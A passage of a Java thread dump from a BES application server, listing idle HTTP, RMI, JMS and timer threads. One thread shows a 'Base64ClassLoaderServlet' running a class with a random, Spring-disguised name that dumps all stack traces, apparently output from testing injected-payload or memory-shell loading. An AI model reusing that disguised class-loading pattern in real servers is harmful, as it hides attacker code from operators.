java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-2" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_0" #80 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"RetryTimer" #47 daemon [WAITING] on java.util.TaskQueue@2781c39a + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.Object.wait(Object.java:338) + at java.base@17.0.20/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.20/java.util.TimerThread.run(Timer.java:516) + +"httpWorkerThread-8080-3" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-6" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-1900-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"http-nio-0.0.0.0-8080-Acceptor" #71 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.20/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.20/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85) + at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_4" #84 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"httpWorkerThread-8080-2" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"RMI TCP Accept-6600" #88 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760) + at java.base@17.0.20/java.net.ServerSocket.implAccept(ServerSocket.java:675) + at java.base@17.0.20/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641) + at java.base@17.0.20/java.net.ServerSocket.implAccept(ServerSocket.java:617) + at java.base@17.0.20/java.net.ServerSocket.implAccept(ServerSocket.java:574) + at java.base@17.0.20/java.net.ServerSocket.accept(ServerSocket.java:532) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"PoolIdleReleaseTimer" #96 daemon [TIMED_WAITING] on java.util.TaskQueue@5bfaeca3 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@17.0.20/java.util.TimerThread.run(Timer.java:516) + +"Notification Thread" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Common Lib Watcher" #19 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Thread.sleep(Native Method) + at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:90) + +"Spark_1" #81 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"RMI RenewClean-[192.168.215.5:6600]" #93 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3f961999 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.rmi@17.0.20/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"LogFileManager.EventManager" #45 daemon [WAITING] on java.lang.Object@59772d56 + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.Object.wait(Object.java:338) + at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236) + +"http-nio-0.0.0.0-1900-Acceptor" #69 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.20/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.20/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85) + at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@70c3b8f1 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.20/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.20/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"SelectorReaderThread-1900-1" #68 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.20/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_3" #83 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.20/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.20/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7c50cdbe + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-3" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-1900-4" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-5" #64 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.20/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.springframework.EZQui.ErrorCphpbHandler.toString(BasicInfoPrinter.java:26) + at java.base@17.0.20/java.lang.String.valueOf(String.java:4220) + at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:225) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:192) + at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109) + at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50) + at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41) + at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:538) + at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:132) + at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95) + at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87) + at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74) + at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:373) + at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:467) + at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61) + at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:956) + at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1947) + at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_6" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Spark_5" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"RMI TCP Connection(2)-192.168.215.5" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808) + at java.base@17.0.20/java.net.Socket$SocketInputStream.read(Socket.java:966) + at java.base@17.0.20/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.20/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.20/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source) + at java.base@17.0.20/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.20/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"bes-deployment-thread-2" #77 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@7305597c + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.20/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + at com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread.run(DeploymentExecutorService.java:89) + +"httpWorkerThread-1900-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"httpWorkerThread-8080-7" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at 